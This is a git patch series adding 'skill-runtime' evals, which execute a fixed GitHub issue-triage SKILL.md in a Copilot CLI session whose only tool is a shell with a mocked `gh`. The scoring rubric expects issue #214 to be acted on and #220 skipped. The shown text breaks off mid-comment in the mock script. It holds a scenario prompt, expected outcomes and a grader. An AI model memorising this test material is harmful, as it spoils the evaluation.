From 153f5f096df6b481a92137a00b2379f11bfd1240 Mon Sep 17 00:00:00 2001 From: karimad <19360713+karimad@users.noreply.github.com> Date: Mon, 24 Aug 2026 11:05:28 +0200 Subject: [PATCH 1/6] Add skill-runtime evals: execute an exported SKILL.md in a real runtime MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Addresses the gap in #55 and adilei's #53 feedback: evals/skillbuilder/ only scores the builder's proposed PLAN TEXT (tool mentions, structure) — it never actually generates -> exports -> loads -> executes a skill in a target runtime and scores the resulting behavior. Adds evals/skill-runtime/, using only what's already required for the rest of this eval suite (a signed-in Copilot CLI, the already-vendored @github/copilot-sdk) — no new dependency, no new credential, no `claude` CLI: - fixtures/regenerate.ts + fixtures/github-issue-triage-agent-skill/SKILL.md — a real, already-built "agent-skill" artifact (ships as a static fixture, not regenerated per run, so a runtime-eval failure points at the runtime layer, not builder variance — same principle the rest of this suite already follows). - mocks/gh — a real mock `gh` executable (checked in, mirrors the existing evals/mocks/*.html pattern for a CLI instead of a web page). Returns two issues: #214 (unassigned bug, not yet triaged) and #220 (unassigned bug, already labeled needs-info) — a correct run must act on #214 only. - bash-tool.ts — the one capability the runtime session gets: a custom "Bash" tool scoped to a mocked PATH, so every invocation is captured for scoring. - run.ts — generates a fresh Copilot session (skillDirectories pointed at the fixture, MCP tools excluded so the built-in GitHub connector can't bypass the mock via the real GitHub API), sends the task, and scores the REAL resulting gh invocations against the rubric. Two real infra bugs found and fixed while building this (left as inline comments in run.ts): scoping `availableTools` to just "Bash" silently disabled every built-in including whatever loads skills from `skillDirectories`; and Copilot CLI's built-in GitHub MCP connector resolves repos against the real GitHub API, bypassing the shell (and any shell-based mock) entirely unless MCP tools are explicitly excluded. Verified: 3/3 consecutive runs pass, gh log shows the exact expected sequence (list -> comment 214 with the skill's fixed text -> label 214 needs-info, #220 correctly skipped). --- evals/skill-runtime/bash-tool.ts | 67 ++++++ .../github-issue-triage-agent-skill/SKILL.md | 47 +++++ evals/skill-runtime/fixtures/regenerate.ts | 114 ++++++++++ evals/skill-runtime/mocks/gh | 42 ++++ evals/skill-runtime/run.ts | 197 ++++++++++++++++++ evals/skill-runtime/scenario.ts | 28 +++ evals/skill-runtime/scenarios.ts | 36 ++++ evals/skill-runtime/score.ts | 72 +++++++ package.json | 1 + 9 files changed, 604 insertions(+) create mode 100644 evals/skill-runtime/bash-tool.ts create mode 100644 evals/skill-runtime/fixtures/github-issue-triage-agent-skill/SKILL.md create mode 100644 evals/skill-runtime/fixtures/regenerate.ts create mode 100755 evals/skill-runtime/mocks/gh create mode 100644 evals/skill-runtime/run.ts create mode 100644 evals/skill-runtime/scenario.ts create mode 100644 evals/skill-runtime/scenarios.ts create mode 100644 evals/skill-runtime/score.ts diff --git a/evals/skill-runtime/bash-tool.ts b/evals/skill-runtime/bash-tool.ts new file mode 100644 index 0000000..d780cb2 --- /dev/null +++ b/evals/skill-runtime/bash-tool.ts @@ -0,0 +1,67 @@ +// The one capability a runtime-conformance session gets: a real shell, scoped to a +// mocked PATH so the skill's `gh`/`curl`/etc. calls hit fixtures instead of the +// network. Modeled on electron/builders/read-tools.ts (custom Tool, not a built-in), +// so every invocation is captured for scoring without parsing session-event internals. + +import { execFileSync } from "node:child_process"; +import type { Tool } from "@github/copilot-sdk"; + +export interface BashInvocation { + command: string; + stdout: string; + stderr: string; + exitCode: number; +} + +export interface BashToolContext { + /** Directory prepended to PATH — holds the mock CLI executables for this scenario. */ + mockBinDir: string; + /** Working directory the shell runs in. */ + cwd: string; + /** Extra env vars the mocks read (e.g. MOCK_GH_LOG). */ + env?: Record; + /** Every invocation is pushed here, in order, for scoring. */ + trace: BashInvocation[]; +} + +/** A single custom "Bash" tool: runs a shell command against a mocked PATH and + * records the call + its result. This is deliberately the ONLY tool the runtime + * session gets — the point is to prove the skill's own instructions are enough. */ +export function createBashTool(ctx: BashToolContext): Tool { + return { + name: "Bash", + description: "Execute a shell command and return its stdout/stderr/exit code.", + parameters: { + type: "object", + properties: { command: { type: "string", description: "The shell command to run." } }, + required: ["command"], + additionalProperties: false, + }, + handler: (raw) => { + const args = raw as { command: string }; + const env = { + ...process.env, + ...ctx.env, + PATH: `${ctx.mockBinDir}:${process.env.PATH ?? ""}`, + }; + let stdout = ""; + let stderr = ""; + let exitCode = 0; + try { + stdout = execFileSync("/bin/sh", ["-c", args.command], { + cwd: ctx.cwd, + env, + encoding: "utf8", + timeout: 15_000, + }); + } catch (err) { + const e = err as { stdout?: string; stderr?: string; status?: number; message: string }; + stdout = e.stdout ?? ""; + stderr = e.stderr ?? e.message; + exitCode = e.status ?? 1; + } + ctx.trace.push({ command: args.command, stdout, stderr, exitCode }); + return JSON.stringify({ stdout, stderr, exitCode }); + }, + }; +} diff --git a/evals/skill-runtime/fixtures/github-issue-triage-agent-skill/SKILL.md b/evals/skill-runtime/fixtures/github-issue-triage-agent-skill/SKILL.md new file mode 100644 index 0000000..b4e7e87 --- /dev/null +++ b/evals/skill-runtime/fixtures/github-issue-triage-agent-skill/SKILL.md @@ -0,0 +1,47 @@ +--- +name: github-triage-unassigned-bugs +description: "Use when asked to triage, sweep, or process new/unassigned bug reports in a GitHub repo — for each open issue labeled 'bug' with no assignee, ask the reporter for repro steps/version and label it 'needs-info'." +allowed-tools: + - Bash(gh issue list *) + - Bash(gh issue comment *) + - Bash(gh issue edit *) + - Bash(gh issue view *) +--- + +## When to use + +Use this skill when asked to triage, sweep, or process newly reported bug issues in a GitHub repo — specifically to find open issues labeled `bug` that have no assignee, and make sure each one has been asked for reproduction details and marked as waiting on the reporter. + +This is a repeatable, repo-wide sweep: it must handle every matching issue found at run time, not just one. + +## Procedure + +1. **List unassigned open bug issues.** Run: + ``` + gh issue list --repo northlight-labs/gateway-service --label bug --search "no:assignee" --state open --json number,title,labels + ``` + This gives the full, current set of open, unassigned bug issues — the collection to iterate over. + +2. **Filter out already-triaged issues.** From the JSON result, drop any issue whose `labels` already include `needs-info` — it's already been asked for info, so re-commenting would be noisy and redundant. What remains is the set that genuinely still needs triage. If this set is empty, skip straight to the report step and say so. + +3. **For each remaining issue, post the triage comment.** For every issue number left after filtering, run: + ``` + gh issue comment --repo northlight-labs/gateway-service --body "Thanks for the report! Could you share exact reproduction steps and the version you're on?" + ``` + This asks the reporter for exact reproduction steps and the version they're on, using the same wording each time for consistency. + +4. **For each remaining issue, apply the needs-info label.** Immediately after commenting on an issue, run: + ``` + gh issue edit --repo northlight-labs/gateway-service --add-label "needs-info" + ``` + This marks the issue as waiting on the reporter so it won't be re-triaged on the next sweep and is easy to filter out later. + + Do the comment-then-label pair for each issue in the filtered set before moving to the next issue, so a failure partway through only affects that one issue and is easy to spot. + +5. **Report results.** Summarize how many issues were triaged (commented on + labeled) in this run, listing each one's number and title. If no issues matched the filter (or all were already labeled `needs-info`), say so explicitly instead of silently doing nothing. + +## Edge cases + +- **No matching issues**: report zero triaged, don't error out. +- **`gh` not authenticated or repo inaccessible**: surface the error from the `gh` command rather than guessing; don't retry silently. +- **An issue closed or got an assignee between steps 1 and 3/4**: `gh issue comment`/`gh issue edit` will still succeed against a specific issue number; if a command fails for one issue, report the failure for that issue and continue with the rest rather than aborting the whole sweep. diff --git a/evals/skill-runtime/fixtures/regenerate.ts b/evals/skill-runtime/fixtures/regenerate.ts new file mode 100644 index 0000000..090fcfd --- /dev/null +++ b/evals/skill-runtime/fixtures/regenerate.ts @@ -0,0 +1,114 @@ +// Regenerates the static SKILL.md fixtures used by the skill-runtime evals. +// +// Runtime-conformance scenarios (unlike the skillbuilder plan evals) ship a FIXED, +// already-built skill artifact rather than regenerating one on every run — the same +// "isolate the layer under test" principle the rest of this eval suite follows: a +// runtime-eval failure should point at the runtime, not at builder variance. +// +// Deliberately self-contained (its own fixed analysis, not imported from +// evals/skillbuilder/scenarios.ts) so this harness has no dependency on that file's +// contents. Re-run this script (and re-commit its output) only when the target +// catalogue changes meaningfully. +// +// Run: +// node --experimental-transform-types --import ../../register.mjs fixtures/regenerate.ts + +import { mkdtempSync, renameSync, existsSync, rmSync } from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { fileURLToPath } from "node:url"; + +import type { AnalysisSubmission } from "../../../common/analysis"; +import { SkillBuilder } from "../../../electron/skillbuilder/builder"; +import { seedScenario } from "../../lib/seed"; + +const here = path.dirname(fileURLToPath(import.meta.url)); + +const FIXTURE_ID = "github-issue-triage-agent-skill"; + +/** Same recorded task as evals/skillbuilder's github-issue-triage-skill, generalized + * against the portable "agent-skill" catalogue instead of Scout. */ +const ANALYSIS: AnalysisSubmission = { + title: "Triage new bug issues", + intent: + "Triage newly reported, unassigned bug issues in the northlight-labs/gateway-service GitHub repository: for each " + + "open issue labeled 'bug' with no assignee, post a comment asking the reporter for exact " + + "reproduction steps and their version, then add the 'needs-info' label.", + intentConfidence: "high", + intentRationale: + "The browser stayed on github.com/northlight-labs/gateway-service issue pages throughout; the same comment text " + + "and the same 'needs-info' label were applied to a bug issue.", + steps: [ + { + id: "s1", + title: "Open the repo's open bug issues on GitHub", + detail: + "Navigated in Chrome to the northlight-labs/gateway-service issues list filtered to open bug issues with no " + + "assignee to find reports that still need triage.", + apps: ["Google Chrome"], + evidence: [ + "browser.url https://github.com/northlight-labs/gateway-service/issues?q=is%3Aissue+is%3Aopen+label%3Abug+no%3Aassignee", + "title 'Issues · northlight-labs/gateway-service'", + ], + confidence: "high", + }, + { + id: "s2", + title: "Open a new bug report to read it", + detail: "Opened issue #214 in Chrome to read the reported bug before triaging it.", + apps: ["Google Chrome"], + evidence: ["browser.url https://github.com/northlight-labs/gateway-service/issues/214"], + confidence: "high", + }, + { + id: "s3", + title: "Comment asking for reproduction steps", + detail: + "Typed a comment into the issue's comment box and submitted it, asking the reporter for " + + "exact reproduction steps and the version they are on.", + apps: ["Google Chrome"], + evidence: [ + "clipboard 'Thanks for the report! Could you share exact reproduction steps and the version you're on?'", + "browser.url https://github.com/northlight-labs/gateway-service/issues/214", + ], + confidence: "high", + }, + { + id: "s4", + title: "Apply the needs-info label", + detail: + "Opened the Labels sidebar on the issue and applied the 'needs-info' label to mark it as " + + "waiting on the reporter.", + apps: ["Google Chrome"], + evidence: ["browser.url https://github.com/northlight-labs/gateway-service/issues/214", "label 'needs-info'"], + confidence: "medium", + }, + ], +}; + +async function main(): Promise { + const root = mkdtempSync(path.join(os.tmpdir(), "sr-fixture-gen-")); + process.env.SKILL_RECORDER_SESSIONS_DIR = root; + seedScenario(root, { id: FIXTURE_ID, platform: "darwin", analysis: ANALYSIS }); + + const builder = new SkillBuilder((p) => { + if (p.message) console.error(` · ${p.message}`); + }); + try { + const plan = await builder.build({ sessionId: FIXTURE_ID, architecture: "agent-skill" }); + const exportRoot = mkdtempSync(path.join(os.tmpdir(), "sr-fixture-export-")); + const { path: skillPath } = await builder.create(FIXTURE_ID, plan, { kind: "export", dir: exportRoot }); + + const destDir = path.join(here, FIXTURE_ID); + if (existsSync(destDir)) rmSync(destDir, { recursive: true, force: true }); + renameSync(path.dirname(skillPath), destDir); + console.error(`Wrote fixture: ${path.join(destDir, "SKILL.md")}`); + } finally { + await builder.dispose(); + } +} + +main().catch((err) => { + console.error(err); + process.exit(1); +}); diff --git a/evals/skill-runtime/mocks/gh b/evals/skill-runtime/mocks/gh new file mode 100755 index 0000000..25e9d79 --- /dev/null +++ b/evals/skill-runtime/mocks/gh @@ -0,0 +1,42 @@ +#!/usr/bin/env bash +# Mock `gh` CLI for the skill-runtime evals. Logs every invocation (one line per +# call, raw argv) to $MOCK_GH_LOG, then returns canned data for the two mock issues +# the github-issue-triage-agent-skill fixture is scored against: +# #214 — bug, unassigned, NOT yet triaged -> the skill must comment + label it. +# #220 — bug, unassigned, ALREADY has needs-info -> the skill must skip it. +# This is the behavioral check adilei's PR #53 feedback asked for: not just "did it +# call gh", but "did it act on the right issues and only the right issues". +set -euo pipefail + +: "${MOCK_GH_LOG:?MOCK_GH_LOG must be set}" +echo "$*" >>"$MOCK_GH_LOG" + +case "${1:-} ${2:-}" in + "--version "|"version ") + echo "gh version 2.99.0 (mock)" + ;; + "--help "|"help ") + echo "mock gh: usage: gh [flags]" + ;; + "issue list") + cat <<'JSON' +[ + {"number":214,"title":"Login button unresponsive on Safari","labels":[{"name":"bug"}]}, + {"number":220,"title":"Crash when exporting a large report","labels":[{"name":"bug"},{"name":"needs-info"}]} +] +JSON + ;; + "issue view") + echo '{"number":214,"labels":[{"name":"bug"}]}' + ;; + "issue comment") + echo '{"ok":true}' + ;; + "issue edit") + echo '{"ok":true}' + ;; + *) + echo "mock gh: unhandled subcommand: $*" >&2 + exit 1 + ;; +esac diff --git a/evals/skill-runtime/run.ts b/evals/skill-runtime/run.ts new file mode 100644 index 0000000..3b54741 --- /dev/null +++ b/evals/skill-runtime/run.ts @@ -0,0 +1,197 @@ +// Skill-runtime eval harness: takes an already-exported SKILL.md fixture, drops it +// into a fresh Copilot CLI session's skillDirectories (discovery-based — the session +// finds and uses it from the task prompt matching its `description`, the same way a +// real user's project would), gives it a task, and scores the REAL resulting +// behavior against a mocked `gh` — not the builder's plan text. +// +// This is the runtime-conformance layer PR #53's feedback (and #55) asked for: +// generate -> export -> load into a target runtime -> execute -> score, using only +// what's already required for the rest of this eval suite (a signed-in Copilot CLI, +// the already-vendored @github/copilot-sdk) — no new dependency, no new credential. +// +// Run: +// node --experimental-transform-types --import ./evals/register.mjs evals/skill-runtime/run.ts [flags] +// Flags: +// --only=slug,slug run a subset of scenarios +// --keep print the temp dirs (artifacts kept for inspection) + +import { mkdtempSync, mkdirSync, readFileSync, writeFileSync, existsSync } from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { fileURLToPath } from "node:url"; + +import { approveAll, CopilotClient, ToolSet } from "@github/copilot-sdk"; + +import { copilotConnectionOption, withStartupTimeout } from "../../electron/copilot-cli-path"; +import { createBashTool, type BashInvocation } from "./bash-tool"; +import { skillRuntimeScenarios } from "./scenarios"; +import { scoreRuntime, type RuntimeScoreResult } from "./score"; + +const here = path.dirname(fileURLToPath(import.meta.url)); +const FIXTURES_DIR = path.join(here, "fixtures"); +const MOCKS_DIR = path.join(here, "mocks"); +const SESSION_TIMEOUT_MS = 120_000; + +interface Flags { + only: Set | null; + keep: boolean; +} + +function parseFlags(argv: string[]): Flags { + const flags: Flags = { only: null, keep: false }; + for (const arg of argv) { + if (arg.startsWith("--only=")) flags.only = new Set(arg.slice(7).split(",").map((s) => s.trim()).filter(Boolean)); + else if (arg === "--keep") flags.keep = true; + } + return flags; +} + +/** Pull the frontmatter `name:` out of a SKILL.md so the fixture's checked-in + * directory name never has to match whatever the builder happened to name it. */ +function readSkillName(skillMd: string): string { + const match = skillMd.match(/^name:\s*(\S+)/m); + if (!match) throw new Error("Fixture SKILL.md has no `name:` frontmatter field"); + return match[1]; +} + +interface Result { + id: string; + title: string; + ok: boolean; + error?: string; + durationMs: number; + score?: RuntimeScoreResult; +} + +const bar = "─".repeat(64); + +async function main(): Promise { + const flags = parseFlags(process.argv.slice(2)); + const selected = skillRuntimeScenarios.filter((s) => !flags.only || flags.only.has(s.id)); + if (selected.length === 0) { + console.error("No scenarios matched", flags.only ? [...flags.only] : ""); + process.exit(2); + } + + console.error(`\nSkill Recorder — skill-runtime evals`); + console.error(`${selected.length} scenario(s)`); + console.error(bar); + + const client = new CopilotClient(copilotConnectionOption()); + await withStartupTimeout(client.start(), "Copilot CLI (SkillRuntime)"); + const auth = await client.getAuthStatus(); + if (!auth.isAuthenticated) { + console.error("Copilot CLI is not signed in."); + process.exit(2); + } + console.error(`Copilot ready${auth.login ? ` as ${auth.login}` : ""}`); + + const results: Result[] = []; + for (const scenario of selected) { + console.error(`\n▶ ${scenario.id} — ${scenario.title}`); + const started = Date.now(); + const res: Result = { id: scenario.id, title: scenario.title, ok: false, durationMs: 0 }; + try { + const fixturePath = path.join(FIXTURES_DIR, scenario.fixtureDir, "SKILL.md"); + if (!existsSync(fixturePath)) { + throw new Error(`Missing fixture: ${fixturePath} (run fixtures/regenerate.ts)`); + } + const skillMd = readFileSync(fixturePath, "utf8"); + const skillName = readSkillName(skillMd); + + const scratchDir = mkdtempSync(path.join(os.tmpdir(), "sr-runtime-scratch-")); + const skillsRoot = mkdtempSync(path.join(os.tmpdir(), "sr-runtime-skills-")); + const skillDestDir = path.join(skillsRoot, skillName); + mkdirSync(skillDestDir, { recursive: true }); + writeFileSync(path.join(skillDestDir, "SKILL.md"), skillMd); + + const mockGhLog = path.join(mkdtempSync(path.join(os.tmpdir(), "sr-runtime-log-")), "gh.log"); + writeFileSync(mockGhLog, ""); + + const trace: BashInvocation[] = []; + const bashTool = createBashTool({ + mockBinDir: MOCKS_DIR, + cwd: scratchDir, + env: { MOCK_GH_LOG: mockGhLog }, + trace, + }); + + const session = await client.createSession({ + tools: [bashTool], + // Deliberately no `availableTools` restriction: it composes as an allow-list + // (unset = everything allowed), and scoping it to just "Bash" earlier disabled + // every built-in — including whatever loads skills from `skillDirectories` — + // which silently prevented the skill from ever being read. + // + // Exclude every MCP tool: Copilot CLI ships a built-in GitHub MCP connector + // (github-list_issues, etc.) that resolves repos against the REAL GitHub API, + // bypassing the shell (and our mock `gh`) entirely — it correctly reported + // acme/api as nonexistent, since it's a fictional repo. Excluding MCP tools + // forces genuine shell-only behavior, which is the right simulation of "a + // generic agent with only a shell, no privileged native GitHub connector". + excludedTools: new ToolSet().addMcp("*"), + skillDirectories: [skillsRoot], + workingDirectory: scratchDir, + onPermissionRequest: approveAll, + enableHostGitOperations: false, + infiniteSessions: { enabled: false }, + }); + try { + const reply = await session.sendAndWait(scenario.task, SESSION_TIMEOUT_MS); + if (flags.keep) console.error(` reply: ${JSON.stringify(reply.data).slice(0, 500)}`); + } finally { + await session.disconnect().catch(() => undefined); + } + + const ghLogLines = readFileSync(mockGhLog, "utf8").split("\n").filter(Boolean); + res.score = scoreRuntime(ghLogLines, trace, scenario.rubric); + res.ok = res.score.pass; + if (flags.keep) { + console.error(` scratch: ${scratchDir}`); + console.error(` skills: ${skillsRoot}`); + console.error(` gh log: ${mockGhLog}`); + } + } catch (err) { + res.error = err instanceof Error ? err.message : String(err); + } + res.durationMs = Date.now() - started; + results.push(res); + printResult(res); + } + + await client.stop().catch(() => undefined); + + const stamp = new Date().toISOString().replace(/[:.]/g, "-"); + const outFile = path.join(process.cwd(), "evals", "results", `skill-runtime-${stamp}.json`); + mkdirSync(path.dirname(outFile), { recursive: true }); + writeFileSync(outFile, JSON.stringify({ at: stamp, results }, null, 2)); + + console.error(`\n${bar}\nSummary`); + const passed = results.filter((r) => r.ok).length; + for (const r of results) { + const pct = r.score ? `${Math.round(r.score.score * 100)}%` : " — "; + const status = r.error ? "ERROR" : r.ok ? "PASS " : "FAIL "; + console.error(` ${status} ${pct.padStart(4)} ${r.id}${r.error ? ` (${r.error})` : ""}`); + } + console.error(`\n ${passed}/${results.length} scenarios passed`); + console.error(` results: ${path.relative(process.cwd(), outFile)}\n`); + + process.exit(passed === results.length ? 0 : 1); +} + +function printResult(r: Result): void { + if (r.error) { + console.error(` ✗ error: ${r.error}`); + return; + } + console.error(` score: ${Math.round((r.score?.score ?? 0) * 100)}% · ${r.ok ? "PASS" : "FAIL"} · ${(r.durationMs / 1000).toFixed(1)}s`); + for (const c of r.score?.checks ?? []) { + const mark = c.pass ? "✓" : "✗"; + console.error(` ${mark} ${c.name}${c.detail ? ` — ${c.detail}` : ""}`); + } +} + +main().catch((err) => { + console.error("Harness crashed:", err); + process.exit(3); +}); diff --git a/evals/skill-runtime/scenario.ts b/evals/skill-runtime/scenario.ts new file mode 100644 index 0000000..d3e42fe --- /dev/null +++ b/evals/skill-runtime/scenario.ts @@ -0,0 +1,28 @@ +// Scenario model for the **skill-runtime** evals — the layer skillbuilder evals +// deliberately don't cover: does an actually-exported SKILL.md get discovered and +// executed correctly by a real target runtime, not just "does the builder's plan +// text mention the right tool". See evals/skill-runtime/README.md. + +export interface RuntimeRubric { + /** Each group is a set of substrings that must ALL appear on the same mock-gh-log + * line (order-independent, so argument reordering doesn't make this brittle). */ + mustCallGh: string[][]; + /** Each group is a set of substrings that must NOT all appear together on any one + * mock-gh-log line (e.g. acting on an issue that should have been skipped). */ + forbiddenGhCalls: string[][]; + /** None of these may appear in any Bash tool command the session ran — signals of + * an invented/vendor-specific tool rather than the plain shell instructions in the + * skill body. */ + forbiddenInCommands: string[]; +} + +export interface SkillRuntimeScenario { + /** Slug used for result keys. */ + id: string; + title: string; + /** Directory name under evals/skill-runtime/fixtures/ holding the fixed SKILL.md. */ + fixtureDir: string; + /** The prompt given to the fresh runtime session. */ + task: string; + rubric: RuntimeRubric; +} diff --git a/evals/skill-runtime/scenarios.ts b/evals/skill-runtime/scenarios.ts new file mode 100644 index 0000000..dba6d11 --- /dev/null +++ b/evals/skill-runtime/scenarios.ts @@ -0,0 +1,36 @@ +import type { SkillRuntimeScenario } from "./scenario"; + +/** + * Runs the real, already-exported github-issue-triage-agent-skill fixture + * (evals/skill-runtime/fixtures/github-issue-triage-agent-skill/SKILL.md) against a + * fresh Copilot session whose only tool is a mocked shell. The mock `gh` returns two + * issues: #214 (unassigned bug, not yet triaged) and #220 (unassigned bug, already + * labeled needs-info). A correct run comments + labels #214 and leaves #220 alone — + * this is the behavioral check PR #53's feedback asked for (does the skill achieve + * the right task outcome), not just "did the plan mention gh". + */ +const githubIssueTriageRuntime: SkillRuntimeScenario = { + id: "github-issue-triage-runtime", + title: "Execute the github-issue-triage-agent-skill fixture against a mocked gh", + fixtureDir: "github-issue-triage-agent-skill", + task: + "This is a sandboxed test environment. You have exactly one tool: Bash. The " + + "northlight-labs/gateway-service GitHub repository IS set up and accessible through it — do " + + "not reply with any claim about the repository's existence or accessibility without first " + + "calling the Bash tool to check; a text-only answer without a preceding Bash tool call is " + + "automatically wrong in this environment. Call Bash now to triage the new unassigned bug " + + "issues in that repository.", + rubric: { + mustCallGh: [ + ["issue", "comment", "214"], + ["issue", "edit", "214"], + ], + forbiddenGhCalls: [ + ["issue", "comment", "220"], + ["issue", "edit", "220"], + ], + forbiddenInCommands: ["workiq", "m365_", "playwright", "browser_"], + }, +}; + +export const skillRuntimeScenarios: SkillRuntimeScenario[] = [githubIssueTriageRuntime]; diff --git a/evals/skill-runtime/score.ts b/evals/skill-runtime/score.ts new file mode 100644 index 0000000..faaf99d --- /dev/null +++ b/evals/skill-runtime/score.ts @@ -0,0 +1,72 @@ +// Deterministic scoring for the skill-runtime evals — checks the REAL mock-gh +// invocation log and the runtime session's Bash tool trace, not plan text. + +import type { BashInvocation } from "./bash-tool"; +import type { RuntimeRubric } from "./scenario"; + +export interface RuntimeCheck { + name: string; + pass: boolean; + detail?: string; +} + +export interface RuntimeScoreResult { + pass: boolean; + score: number; + checks: RuntimeCheck[]; +} + +/** True when every substring in `group` appears on the same log line. */ +function lineMatchesAll(line: string, group: string[]): boolean { + return group.every((s) => line.includes(s)); +} + +function anyLineMatchesAll(lines: string[], group: string[]): boolean { + return lines.some((line) => lineMatchesAll(line, group)); +} + +export function scoreRuntime( + ghLogLines: string[], + bashTrace: BashInvocation[], + rubric: RuntimeRubric, +): RuntimeScoreResult { + const checks: RuntimeCheck[] = []; + + for (const group of rubric.mustCallGh) { + const hit = anyLineMatchesAll(ghLogLines, group); + checks.push({ + name: `gh called with: ${group.join(" + ")}`, + pass: hit, + detail: hit ? undefined : "no mock-gh log line matched all of these", + }); + } + + for (const group of rubric.forbiddenGhCalls) { + const hit = anyLineMatchesAll(ghLogLines, group); + checks.push({ + name: `avoids gh call: ${group.join(" + ")}`, + pass: !hit, + detail: hit ? "a forbidden call pattern was made (wrong issue acted on)" : undefined, + }); + } + + const commandText = bashTrace.map((b) => b.command).join("\n").toLowerCase(); + for (const bad of rubric.forbiddenInCommands) { + const hit = commandText.includes(bad.toLowerCase()); + checks.push({ + name: `no command references "${bad}"`, + pass: !hit, + detail: hit ? `forbidden token "${bad}" appeared in a Bash command` : undefined, + }); + } + + checks.push({ + name: "the Bash tool was invoked at least once", + pass: bashTrace.length > 0, + detail: bashTrace.length === 0 ? "the session never ran a shell command — the skill wasn't executed" : undefined, + }); + + const passCount = checks.filter((c) => c.pass).length; + const score = checks.length ? passCount / checks.length : 0; + return { pass: checks.every((c) => c.pass), score, checks }; +} diff --git a/package.json b/package.json index d1f81ae..d525aa0 100644 --- a/package.json +++ b/package.json @@ -23,6 +23,7 @@ "eval": "node --experimental-transform-types --no-warnings --import ./evals/register.mjs evals/run.ts", "eval:builder": "node --experimental-transform-types --no-warnings --import ./evals/register.mjs evals/builder/run.ts", "eval:skill": "node --experimental-transform-types --no-warnings --import ./evals/register.mjs evals/skillbuilder/run.ts", + "eval:skill-runtime": "node --experimental-transform-types --no-warnings --import ./evals/register.mjs evals/skill-runtime/run.ts", "eval:sensitive": "node --experimental-transform-types --no-warnings --import ./evals/register.mjs evals/sensitive/run.ts", "eval:sensitive:ocr": "node --experimental-transform-types --no-warnings --import ./evals/register.mjs evals/sensitive/ocr-images.ts", "eval:sensitive:realistic": "node --experimental-transform-types --no-warnings --import ./evals/register.mjs evals/sensitive/ocr-realistic.ts", From bbd3a69b36724e827a9247a4902b0574a290cfcb Mon Sep 17 00:00:00 2001 From: karimad <19360713+karimad@users.noreply.github.com> Date: Mon, 24 Aug 2026 11:29:30 +0200 Subject: [PATCH 2/6] Address review: exact-token matching, real filter simulation, cleanup, tool-scope MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Correctness: - score.ts: gh-log matching now requires an exact whitespace-delimited argv token, not a raw substring — a call touching issue 2140 or 1214 could previously satisfy a check written for 214 (and symmetrically false-fail a forbiddenGhCalls check for 220 against a line containing 1220), undermining the exact thing this eval verifies. forbiddenInCommands stays substring-based intentionally (documented why: vendor-name detection needs to catch a prefix like "workiq" inside "workiq_search_chats", which token-exact matching would miss) — same trade-off evals/skillbuilder/score.ts already accepts. - mocks/gh: `issue list` now actually simulates filtering instead of ignoring every flag. Only returns the clean #214/#220 pair when the invocation asked for `--label ... bug` + `no:assignee`; otherwise returns a noisier set including two new distractors — #300 (already assigned) and #310 (wrong label) — that a correctly-filtering skill must never touch. Strengthens the "runtime conformance" claim: a skill that dropped its own filtering logic now visibly fails instead of silently passing. Maintainability: - run.ts: the 3 mkdtempSync temp dirs per scenario run are now cleaned up in a finally block unless --keep is passed — previously always leaked into /tmp. fixtures/regenerate.ts: same fix for its own temp dirs. - score.ts: new checkAllowedTools assertion parses the fixture's own `allowed-tools` frontmatter and verifies every MUTATING Bash command (comment/ edit/create/close/...) matches a declared prefix — a regression in tool-gating would now be caught. Scoped to mutating commands only, not every command: gating on read-only reconnaissance (e.g. an occasional `gh repo view` sanity check before triaging) would fail the suite on harmless model variance rather than a real regression — same read-vs-mutating distinction this project's own catalogues already draw ("Read tools are auto-approved; send/create/update/ delete need approval"). Minor: - fixtures/regenerate.ts: comment on the renameSync call documenting the assumption that `exportRoot` has exactly one child (the freshly-exported skill dir) — true because it's a dir we just mkdtemp'd, but worth stating. Verified: 3/3 consecutive full-suite passes after all fixes; confirmed the mock's unfiltered branch actually returns the distractor issues; confirmed --keep still preserves temp dirs and their absence otherwise. --- evals/skill-runtime/fixtures/regenerate.ts | 7 ++- evals/skill-runtime/mocks/gh | 37 +++++++++--- evals/skill-runtime/run.ts | 15 ++++- evals/skill-runtime/scenarios.ts | 17 ++++-- evals/skill-runtime/score.ts | 66 +++++++++++++++++++++- 5 files changed, 124 insertions(+), 18 deletions(-) diff --git a/evals/skill-runtime/fixtures/regenerate.ts b/evals/skill-runtime/fixtures/regenerate.ts index 090fcfd..e0a542e 100644 --- a/evals/skill-runtime/fixtures/regenerate.ts +++ b/evals/skill-runtime/fixtures/regenerate.ts @@ -94,17 +94,22 @@ async function main(): Promise { const builder = new SkillBuilder((p) => { if (p.message) console.error(` · ${p.message}`); }); + const exportRoot = mkdtempSync(path.join(os.tmpdir(), "sr-fixture-export-")); try { const plan = await builder.build({ sessionId: FIXTURE_ID, architecture: "agent-skill" }); - const exportRoot = mkdtempSync(path.join(os.tmpdir(), "sr-fixture-export-")); const { path: skillPath } = await builder.create(FIXTURE_ID, plan, { kind: "export", dir: exportRoot }); const destDir = path.join(here, FIXTURE_ID); if (existsSync(destDir)) rmSync(destDir, { recursive: true, force: true }); + // Renames the whole / directory, not just SKILL.md — + // safe only because `exportRoot` is a dir we just mkdtemp'd and `builder.create` + // is the only thing that has written into it, so is its sole child. renameSync(path.dirname(skillPath), destDir); console.error(`Wrote fixture: ${path.join(destDir, "SKILL.md")}`); } finally { await builder.dispose(); + rmSync(root, { recursive: true, force: true }); + rmSync(exportRoot, { recursive: true, force: true }); } } diff --git a/evals/skill-runtime/mocks/gh b/evals/skill-runtime/mocks/gh index 25e9d79..005ad0c 100755 --- a/evals/skill-runtime/mocks/gh +++ b/evals/skill-runtime/mocks/gh @@ -1,11 +1,20 @@ #!/usr/bin/env bash # Mock `gh` CLI for the skill-runtime evals. Logs every invocation (one line per -# call, raw argv) to $MOCK_GH_LOG, then returns canned data for the two mock issues -# the github-issue-triage-agent-skill fixture is scored against: +# call, raw argv) to $MOCK_GH_LOG, then returns canned data for a small mock issue +# set the github-issue-triage-agent-skill fixture is scored against: # #214 — bug, unassigned, NOT yet triaged -> the skill must comment + label it. # #220 — bug, unassigned, ALREADY has needs-info -> the skill must skip it. -# This is the behavioral check adilei's PR #53 feedback asked for: not just "did it -# call gh", but "did it act on the right issues and only the right issues". +# #300 — bug, but ALREADY ASSIGNED -> must be excluded by a correct `no:assignee` +# filter; only appears if `issue list` didn't actually filter by assignee. +# #310 — unassigned, but labeled 